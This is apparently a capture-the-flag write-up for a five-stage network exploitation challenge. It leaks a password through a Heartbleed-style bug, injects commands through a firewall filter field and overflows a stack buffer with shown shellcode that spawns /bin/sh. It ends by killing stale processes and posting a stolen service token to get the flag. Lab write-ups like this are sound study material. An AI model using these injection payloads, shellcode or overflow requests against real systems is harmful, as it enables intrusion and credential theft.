Mate at Midnight

PWN HARD CSC 2026  ·  2026-03-28  ·  5-stage network exploitation chain
CSC{CLUB_M47E_M4ChIn3_PWnED_ThE_wHO1E_n3TWORK}

Table of Contents

  1. Architecture Overview
  2. Stage 1: Heartbleed Memory Leak
  3. Stage 2: Router Login
  4. Stage 3: Command Injection
  5. Stage 4: Buffer Overflow & Shellcode
  6. Stage 5: Internal Pivot & Flag
  7. Script Deep-Dive
  8. Failed Approaches
  9. Key Lessons

Architecture Overview

This challenge simulates a real-world multi-machine network. The attacker only has access to the router on port 9090. The flag is locked behind four layers of exploitation to reach a root-only file on an internal machine.

Attacker | | port 9090 v Router (Flask) /login -> admin auth (leaked password) /api/heartbeat -> Heartbleed memory leak /firewall/update -> Command injection via filter /dashboard, /network | | internal network v mate-machine :8080 mateos-httpd (C, xinetd, user=ctf) -> Buffer overflow in User-Agent strcpy :1337 vending-ui.py (Python, user=root, localhost only) -> POST /dispense with token -> FLAG :3117 fw-update.py (Python, user=root) /root/.flag (chmod 400, root-only)

1 Heartbleed Memory Leak → Admin Password

The router exposes /api/heartbeat which returns 405 on GET (hinting POST is needed). It accepts JSON with data and length fields. When length exceeds the actual data size, the server returns adjacent memory — a classic Heartbleed-style vulnerability.

# Send 4 bytes of data but request 500 bytes back
curl -s "$ROUTER/api/heartbeat" -X POST \
  -H "Content-Type: application/json" \
  -d '{"data":"AAAA","length":500}'

Leaked memory (truncated):

{
  "response": "AAAAGET /dashboard HTTP/1.1\r\nHost: router\r\n...
    config.admin_pass = \"60yFj6T-jg6SMhscpaF5vVh2wQLmeyFZHSmeazILzPY\"
    config.session_secret = \"mr100-netgate-secret-key-do-not-share\"...",
  "type": "heartbeat_response"
}
Result: The admin password is leaked from the Python config object in adjacent memory.

2 Router Login → Dashboard Access

curl -s -c /tmp/cookies.txt -L -X POST "$ROUTER/login" \
  -d "username=admin&password=60yFj6T-jg6SMhscpaF5vVh2wQLmeyFZHSmeazILzPY"

This grants access to /dashboard, /firewall, and /network. The dashboard reveals the internal network layout with mate-machine visible.

3 Command Injection → Code Execution on Router

The /firewall/update endpoint accepts rule_id and filter parameters. The filter value is passed directly to os.popen() without sanitization.

Injection pattern:

# Inject command, write output to static dir for retrieval
curl -s -b /tmp/cookies.txt -X POST "$ROUTER/firewall/update" \
  --data-urlencode "filter=1.1.1.1; <COMMAND>; cp /tmp/output.txt /app/static/r.txt; #" \
  -d 'rule_id=5'

# Fetch results
curl -s "$ROUTER/static/r.txt"

Delivering complex exploit scripts:

# Base64-encode a Python script and inject it
B64=$(base64 -w0 script.py)
curl -s -b /tmp/cookies.txt -X POST "$ROUTER/firewall/update" \
  --data-urlencode "filter=1.1.1.1; echo $B64 | base64 -d > /tmp/s.py && \
    timeout 45 python3 /tmp/s.py > /tmp/out.txt 2>&1; \
    cp /tmp/results.txt /app/static/r.txt; #" \
  -d 'rule_id=5'
Key insight: The Flask app serves static files from /app/static/. By writing command output there, we can exfiltrate results via HTTP. All subsequent exploit scripts are delivered this way.

4 Buffer Overflow in mateos-httpd → RCE on mate-machine

Binary Analysis

mateos-httpd — ELF 64-bit x86-64, dynamically linked, not stripped.

ProtectionStatusImplication
RELRONo RELROGOT writable
Stack CanaryNoneNo stack overflow detection
NXDisabledStack is executable
PIENo PIE (0x400000)Fixed addresses
RWX SegmentsYesCan execute shellcode anywhere

All protections disabled — this is a classic ret2shellcode scenario.

Vulnerability: extract_user_agent at 0x401436

void extract_user_agent(char *raw_ua, http_request_t *req) {
    char ua_buf[128];
    strcpy(ua_buf, raw_ua);                    // OVERFLOW: no bounds check
    strncpy(req->user_agent, ua_buf, 0x1ff);
    req->user_agent[0x1ff] = '\0';
}

strcpy copies the User-Agent header into a 128-byte stack buffer with no length check.

Stack Layout

ua_buf
128 bytes
(shellcode here)
saved rbp
8 bytes
(padding)
return addr
8 bytes
(overwritten)

The Trampoline Technique

The HTTP method field (first bytes of the request) is stored in rax during parsing. We place a 6-byte trampoline in the method field that jumps forward into the shellcode in User-Agent:

; Trampoline (6 bytes, placed as HTTP method)
66 05 10 01    add ax, 0x110      ; offset from method to User-Agent shellcode
ff e0          jmp rax            ; jump to shellcode

The CALL_RAX gadget at 0x401014 is used as the return address (only 3 bytes needed since high bytes are 0x00 in non-PIE).

Bad bytes that must be avoided:

ByteReasonMitigation
0x00Null terminator (strcpy stops)XOR-encode
0x0aNewline (HTTP line break)XOR-encode
0x0dCarriage return (HTTP line break)XOR-encode

Shellcode: execve("/bin/sh") — 60 bytes

; dup2(0, 1) — redirect stdout to network socket (fd 0 in inetd mode)
31 ff                 xor edi, edi
6a 01 5e              push 1; pop rsi
6a 21 58              push 33; pop rax    ; SYS_dup2 = 33
0f 05                 syscall

; dup2(0, 2) — redirect stderr
6a 02 5e              push 2; pop rsi
6a 21 58              push 33; pop rax
0f 05                 syscall

; execve("/bin/sh", ["/bin/sh", NULL], NULL)
31 c9                 xor ecx, ecx
51                    push rcx            ; null terminator

; Push "/bin/sh\0" XOR-encoded to avoid null bytes
; "/bin/sh\0" = 0x0068732f6e69622f
; XOR key   = 0x4141414141414141
; Encoded   = 0x4129326e2f28236e (no bad bytes!)
48 b8 6e 23 28 2f 6e 32 29 41   movabs rax, 0x4129326e2f28236e
48 ba 41 41 41 41 41 41 41 41   movabs rdx, 0x4141414141414141
48 31 d0              xor rax, rdx        ; decode -> "/bin/sh\0"
50                    push rax

48 89 e7              mov rdi, rsp        ; rdi = "/bin/sh"
51                    push rcx            ; NULL for argv terminator
57                    push rdi            ; pointer to "/bin/sh"
48 89 e6              mov rsi, rsp        ; rsi = argv = ["/bin/sh", NULL]
31 d2                 xor edx, edx        ; envp = NULL
6a 3b 58              push 59; pop rax    ; SYS_execve = 59
0f 05                 syscall
60 bytes — well under the 128-byte buffer limit. Zero bad bytes. Gives an interactive shell.

Full exploit HTTP request structure:

trampoline = b'\x66\x05\x10\x01\xff\xe0'  # add ax, 0x110; jmp rax
ua_payload = shellcode.ljust(128, b'\x90') + b'\x41' * 8 + p64(0x401014)[:3]

http_req = trampoline + b' /x HTTP/1.0\r\nHost: m\r\nUser-Agent: ' \
         + ua_payload + b'\r\n\r\n'

5 Internal Pivot → Flag Extraction

Reconnaissance via shell

With the shell on mate-machine as user ctf:

$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

$ ss -tlnp
LISTEN  127.0.0.1:1337   # vending-ui.py (root, localhost only)
LISTEN  0.0.0.0:8080     # xinetd -> mateos-httpd
LISTEN  0.0.0.0:3117     # fw-update.py

$ ls -la /root/.flag
-r--------  root root  /root/.flag   # can't read as ctf

The vending server (port 1337)

A Python BaseHTTPRequestHandler running as root, listening on localhost only. It loads the flag at startup and checks a service token:

def do_POST(self):
    if self.path == "/dispense":
        token = data.get("token", "")
        if token != SERVICE_TOKEN:
            # 403 - Invalid service token
        # SUCCESS: sends receipt with FLAG embedded
        receipt = "..." + f"\n  {FLAG}\n\n" + "..."

The token was found in /home/ctf/.config/mateos/service.conf:

service_token = MV400-SVC-a8f3e2d1-b7c9-4e56-9123-ff00deadbeef

Critical Obstacle: Stale Connections

Problem: Previous relay shellcode attempts left TCP connections to port 1337 that were never closed. These filled the server's listen backlog:
$ ss -tlnp | grep 1337
LISTEN 6 5 127.0.0.1:1337 0.0.0.0:*
       ^   Recv-Q=6 > backlog=5 -> NEW CONNECTIONS SILENTLY DROPPED

Final Exploit: Kill Stale Processes → POST to Vending

The solution: deliver a Python script to mate-machine that kills stale processes, waits for the queue to drain, then POSTs with the token.

# p.py — delivered via base64 through the shell
import socket, time, os, signal, subprocess

# Kill stale mateos-httpd processes (same user, ctf can kill ctf)
r = subprocess.run(['pgrep', '-f', 'mateos-httpd'], capture_output=True, text=True)
for pid in r.stdout.strip().split('\n'):
    if pid:
        os.kill(int(pid), signal.SIGKILL)

# Also kill stale /bin/sh (except our own)
mypid = os.getpid()
r2 = subprocess.run(['pgrep', '-f', '/bin/sh'], capture_output=True, text=True)
for pid in r2.stdout.strip().split('\n'):
    if pid and int(pid) != mypid:
        os.kill(int(pid), signal.SIGKILL)

time.sleep(2)  # Wait for listen queue to drain

# POST to vending controller
s = socket.socket()
s.connect(('127.0.0.1', 1337))
body = 'token=MV400-SVC-a8f3e2d1-b7c9-4e56-9123-ff00deadbeef'
req = f'POST /dispense HTTP/1.0\r\nContent-Length: {len(body)}\r\n\r\n{body}'
s.sendall(req.encode())

The Flag

+=============================================+ | MATEOS VENDING RECEIPT | +=============================================+ | | | ======================== | | || || | | || +==============+ || | | || || CLUB MATE || || | | || || * * * || || | | || || 330ml || || | | || || ORIGINAL || || | | || +==============+ || | | ======================== | | | | * DISPENSING... CLUNK * | | | | Transaction ID: #13371 | | Item: Club Mate Original 330ml | | Price: 0.00 EUR (technician test) | | Status: DISPENSED | | | | CSC{CLUB_M47E_M4ChIn3_PWnED_ThE_wHO1E_n3TWORK} | | | +=============================================+

Script Deep-Dive

shell6.py — The Winning Script

This is the final exploit that obtained the flag. It runs on the router (delivered via command injection) and orchestrates a two-machine attack.

How it works step by step:

  1. Build shellcode (lines 15–26): Constructs the 60-byte execve("/bin/sh") shellcode with XOR-encoded /bin/sh string.
  2. Build HTTP exploit (lines 87–90): Assembles the trampoline method + User-Agent overflow payload with the CALL_RAX return address.
  3. Connect & send (lines 92–96): Opens a TCP connection to mate-machine:8080 and sends the malicious HTTP request. Waits 1.5s for the shell to start.
  4. Deliver Python payload (lines 99–103): Base64-encodes p.py and writes it to /tmp/p.py on mate-machine through the shell, then executes it.
  5. p.py executes on mate-machine (lines 29–81): Kills stale processes, waits 2s, connects to localhost:1337, POSTs with the service token, reads and outputs the response.
  6. Collect results (lines 109–124): Reads all output from the shell and writes to /tmp/shell6_results.txt for retrieval via the static file server.

find_flag.py — Reconnaissance Script

Used in earlier stages to map out the mate-machine filesystem and probe services. Contains three types of custom shellcode:

FunctionSyscallsPurpose
push_path_shellcode()Encodes a file path onto the stack with XOR to avoid bad bytes
make_read_file_shellcode()open → read → write(0)Read a file and send contents back over the socket
make_getdents_shellcode()open → getdents64 → write(0)List directory entries
send_exploit()Wraps any shellcode in the HTTP overflow exploit and sends it

shell_exploit.py — First Shell Attempt

The first script to successfully spawn a shell. After confirming id returned, it tried to run a one-liner Python command to POST to the vending server. The command returned 0 bytes — this is when the stale connection problem was first observed. Led to diagnostic scripts (shell3.py, shell4.py) that identified the backlog issue.

Complete Script Inventory

ScriptApproachOutcome
find_flag.pyDirectory enum + file reads via shellcodeFound note.txt, start.sh, service.conf
relay_exploit.pyRelay shellcode (108B)GET worked; POST 0B
relay2.pyHardcoded GET (124B) + relay v2Confirmed vending reachable
relay3.pyLarger buffer relay (119B)POST 0B
relay_final.pyRelay with read loop (122B)POST 0B (jmp offset bug)
relay_debug.pyDebug relay + read vending-ui.pyGot source part 1
read_post.pyLseek shellcode + POST variantsGot full do_POST source
final_flag.pyRelay v4 (116B)POST 0B (wrong Content-Length)
flag_final.pyFixed Content-LengthPOST 0B (backlog full)
shell_exploit.pyexecve("/bin/sh") + commandsShell worked; Python cmd 0B
shell4.pyShell + diagnosticsFound backlog issue
shell6.pyShell + kill stale + POSTGOT THE FLAG

Failed Approaches & Why

1. Relay Shellcode (6+ attempts)

Multiple shellcode variants that would socket() → connect() → read(stdin) → write(sock) → read(sock) → write(stdout). All successfully relayed GET requests but failed for POST because:

Lesson: execve("/bin/sh") (60 bytes) is vastly superior to hand-crafted relay shellcode (116+ bytes). The shell is more flexible, easier to debug, and allows arbitrary commands.

2. Firmware Update Server (port 3117)

Probed with various endpoints and the tech token. None returned the flag — it was a red herring.

Key Lessons

1. Heartbleed-style memory leaks
When an endpoint accepts a length parameter, always test with oversized values. Adjacent memory may contain credentials, session tokens, or config values.
2. execve("/bin/sh") > relay shellcode
For complex multi-stage exploits, a 60-byte shell spawn beats a 120-byte custom relay. The shell approach is more debuggable, more flexible, and lets you run arbitrary Python scripts on target.
3. Stale connections fill listen backlog
Failed exploit attempts leave ESTABLISHED TCP connections. BaseHTTPRequestHandler has a backlog of 5. After 6+ failed attempts, the server silently drops all new connections. Always kill stale processes before the final exploit.
4. Shellcode bad bytes
0x00 (strcpy null), 0x0a (HTTP newline), 0x0d (HTTP carriage return). XOR-encode string literals with a key like 0x41 to avoid these.
5. Trampoline technique
When you can control the HTTP method field and User-Agent separately, use a small trampoline (add ax, offset; jmp rax) in the method to jump into shellcode in the User-Agent.

CSC 2026 · Pwn · Solved 2026-03-28